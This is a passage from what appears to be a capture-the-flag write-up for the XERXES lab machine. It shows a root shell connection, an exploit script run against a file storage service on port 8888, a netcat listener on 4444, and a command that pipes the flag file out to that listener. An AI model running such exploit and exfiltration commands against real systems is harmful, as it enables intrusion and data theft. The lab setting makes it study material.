connect to [192.168.80.157] from (UNKNOWN) [192.168.80.158] 59517
uid=0(root) gid=0(root) euid=1002(level2) groups=1002(level2),0(root)

Extracting Flag

  • python level1.py -t 192.168.80.158 -p 8888 -c "cat flag | nc 192.168.80.157 4444"
$ python level1.py -t 192.168.80.158 -p 8888 -c "cat /home/level1/flag | nc 192.168.80.157 4444"
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Opening connection to 192.168.80.158 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n  available commands are:\n  store, read, exit.\n\n>'
b'  Please, how many bytes is your file?\n\n>'
b'  Please, send your file:\n\n>'
b'    XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 192.168.80.158 port 8888

On the netcat listener:

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.80.157] from (UNKNOWN) [192.168.80.158] 59518
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}